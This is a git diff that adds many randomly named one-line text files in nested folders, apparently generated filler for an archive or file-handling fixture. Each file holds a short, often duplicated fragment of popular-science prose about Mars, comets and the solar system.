--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_uzzoeogeinnrmnxsw.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_zlfygynwfdefkadmf.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_zlfygynwfdefkadmf.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_zlfygynwfdefkadmf.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_ztmbfvfb.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_ztmbfvfb.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_ztmbfvfb.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_zyruyvgqg.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_zyruyvgqg.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_zyruyvgqg.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/cgpazuyqhlj.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/cgpazuyqhlj.txt
new file mode 100644
index 0000000..2f39825
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/cgpazuyqhlj.txt
@@ -0,0 +1 @@
+well adapted to the environment of the Earth because we grew up here. Those earlier forms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/cmvkdfouraqpytyypenp.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/cmvkdfouraqpytyypenp.txt
new file mode 100644
index 0000000..c9e61e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/cmvkdfouraqpytyypenp.txt
@@ -0,0 +1 @@
+that it was extraordinarily important to know if it was there. If life on Mars exists, we will
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/dadkqjpkddluip.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/dadkqjpkddluip.txt
new file mode 100644
index 0000000..9850778
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/dadkqjpkddluip.txt
@@ -0,0 +1 @@
+propitiated, and a vast industry of priests and oracles arose to make the gods less angry. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/ekmmrcjrrwsp.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/ekmmrcjrrwsp.txt
new file mode 100644
index 0000000..d114f8b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/ekmmrcjrrwsp.txt
@@ -0,0 +1 @@
+unique denizen of the solar system. The history of our past voyages of discovery suggests
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_boxjxdmiqfemaxnmwr.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_boxjxdmiqfemaxnmwr.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_boxjxdmiqfemaxnmwr.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_glztohnqetqmqljx.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_glztohnqetqmqljx.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_glztohnqetqmqljx.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hqpgpmdqtrtpn.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hqpgpmdqtrtpn.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hqpgpmdqtrtpn.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hypqnusagljlomxzn.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hypqnusagljlomxzn.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hypqnusagljlomxzn.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hzozskmlx.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hzozskmlx.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_hzozskmlx.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_ikpxodonc.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_ikpxodonc.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_ikpxodonc.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_lcrjjwtkawnqekdtzjaam.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_lcrjjwtkawnqekdtzjaam.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_lcrjjwtkawnqekdtzjaam.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_oaoqspptwognazqp.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_oaoqspptwognazqp.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_oaoqspptwognazqp.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_sbcoztgzvwdldjimvvv.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_sbcoztgzvwdldjimvvv.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_sbcoztgzvwdldjimvvv.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_shsfyvfnilhrirrzfmpqm.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_shsfyvfnilhrirrzfmpqm.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_shsfyvfnilhrirrzfmpqm.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_slhqecralrrx.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_slhqecralrrx.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_slhqecralrrx.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_swafejywxfumjmpnmmyur.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_swafejywxfumjmpnmmyur.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_swafejywxfumjmpnmmyur.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_uansforayduvl.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_uansforayduvl.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_uansforayduvl.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_wdtgnxlaadu.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_wdtgnxlaadu.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_wdtgnxlaadu.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_xwkjdbry.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_xwkjdbry.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_xwkjdbry.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_ycnlzwwrzhhyncofvtgk.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_ycnlzwwrzhhyncofvtgk.txt
new file mode 100644
index 0000000..73f4a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/file_ycnlzwwrzhhyncofvtgk.txt
@@ -0,0 +1 @@
+mineralogy of the soil could be determined; rocks could be broken open to search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/gokktvudx.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/gokktvudx.txt
new file mode 100644
index 0000000..218202f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/gokktvudx.txt
@@ -0,0 +1 @@
+- Colin Maclaurin, 1748
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/iudzgjkmlhgaoi.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/iudzgjkmlhgaoi.txt
new file mode 100644
index 0000000..e212a84
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/iudzgjkmlhgaoi.txt
@@ -0,0 +1 @@
+strong enough to lift dust off the surface. If we could check that the candidate landing site
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/lyqsntbdzlyk.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/lyqsntbdzlyk.txt
new file mode 100644
index 0000000..5552318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/lyqsntbdzlyk.txt
@@ -0,0 +1 @@
+1 The Shores of the Cosmic Ocean
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/mxjdwzsttxdqzvnblaxy.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/mxjdwzsttxdqzvnblaxy.txt
new file mode 100644
index 0000000..6c435bc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/mxjdwzsttxdqzvnblaxy.txt
@@ -0,0 +1 @@
+there was no likelihood of ever coming to an end of the Enquiry . . . but a while ago,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/tadzehvfmrygqnheptsquj.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/tadzehvfmrygqnheptsquj.txt
new file mode 100644
index 0000000..8835fba
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/tadzehvfmrygqnheptsquj.txt
@@ -0,0 +1 @@
+our comet would be smaller than a speck of dust, but when fully developed, its tail would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/wbgrktvz.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/wbgrktvz.txt
new file mode 100644
index 0000000..f80c1b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/wbgrktvz.txt
@@ -0,0 +1 @@
+brightly colored organic molecules produced when ultraviolet light from the Sun
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/wlcaqetfyvvyquqceiali.txt b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/wlcaqetfyvvyquqceiali.txt
new file mode 100644
index 0000000..74da71d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/folder_eqmfhsegru/wlcaqetfyvvyquqceiali.txt
@@ -0,0 +1 @@
+not much absorbed or scattered by the gas between the stars, just as a San Francisco radio
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_cvqdeoqcldzfurlzertzxonr.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_cvqdeoqcldzfurlzertzxonr.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_cvqdeoqcldzfurlzertzxonr.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_eduqscmnfdcrzy.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_eduqscmnfdcrzy.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_eduqscmnfdcrzy.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_hjnzbhvfnhcbqlpluuy.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_hjnzbhvfnhcbqlpluuy.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_hjnzbhvfnhcbqlpluuy.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_hnlqtxcqskz.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_hnlqtxcqskz.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_hnlqtxcqskz.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_jblkztvohgj.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_jblkztvohgj.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_jblkztvohgj.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_mxxzodtkfhecasvdiqa.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_mxxzodtkfhecasvdiqa.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_mxxzodtkfhecasvdiqa.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_pqimmmvfsdzk.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_pqimmmvfsdzk.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_pqimmmvfsdzk.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_pseksnjvmsldpqcmevh.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_pseksnjvmsldpqcmevh.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_pseksnjvmsldpqcmevh.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_qnombzraxxeax.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_qnombzraxxeax.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_qnombzraxxeax.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_uwttuiomxr.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_uwttuiomxr.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_uwttuiomxr.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_uxbrulgejmfxqpniyggaes.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_uxbrulgejmfxqpniyggaes.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_uxbrulgejmfxqpniyggaes.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/file_zjcrgnouuh.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/file_zjcrgnouuh.txt
new file mode 100644
index 0000000..d531d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/file_zjcrgnouuh.txt
@@ -0,0 +1 @@
+them to themselves, babbling, talking gibberish among themselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ayuvpswprw.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ayuvpswprw.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ayuvpswprw.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_bbvuzickctvabqtjuhzgwqep.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_bbvuzickctvabqtjuhzgwqep.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_bbvuzickctvabqtjuhzgwqep.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ciuddmvaiqgjisdqjiqglkt.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ciuddmvaiqgjisdqjiqglkt.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ciuddmvaiqgjisdqjiqglkt.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ekjcybtsfvbwqpiofqoh.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ekjcybtsfvbwqpiofqoh.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_ekjcybtsfvbwqpiofqoh.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_fzqlxdbib.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_fzqlxdbib.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_fzqlxdbib.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_jftilnlhtxgsdpzizr.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_jftilnlhtxgsdpzizr.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_jftilnlhtxgsdpzizr.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_jpzbsnjxevrfg.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_jpzbsnjxevrfg.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_jpzbsnjxevrfg.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kbngdywyzmyjahlwgl.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kbngdywyzmyjahlwgl.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kbngdywyzmyjahlwgl.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kelpekbne.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kelpekbne.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kelpekbne.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kwrifuvw.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kwrifuvw.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_kwrifuvw.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_pzwzfyesrakfqmbd.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_pzwzfyesrakfqmbd.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_pzwzfyesrakfqmbd.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_qksoozbvhkycfeuix.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_qksoozbvhkycfeuix.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_qksoozbvhkycfeuix.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_uampoauqcfmpsuzaqk.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_uampoauqcfmpsuzaqk.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_uampoauqcfmpsuzaqk.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_uvvwvgif.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_uvvwvgif.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_uvvwvgif.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_wllunyyshtclfxueacmj.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_wllunyyshtclfxueacmj.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_wllunyyshtclfxueacmj.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_xgkdwqcoyljvtqqtyf.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_xgkdwqcoyljvtqqtyf.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_xgkdwqcoyljvtqqtyf.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_xtorlpngonfmvvd.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_xtorlpngonfmvvd.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_xtorlpngonfmvvd.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_yyddtahruyut.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_yyddtahruyut.txt
new file mode 100644
index 0000000..46626b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/file_yyddtahruyut.txt
@@ -0,0 +1 @@
+colonized. The utilization of planetary resources so that new interstellar spacecraft could be
\ No newline at end of file
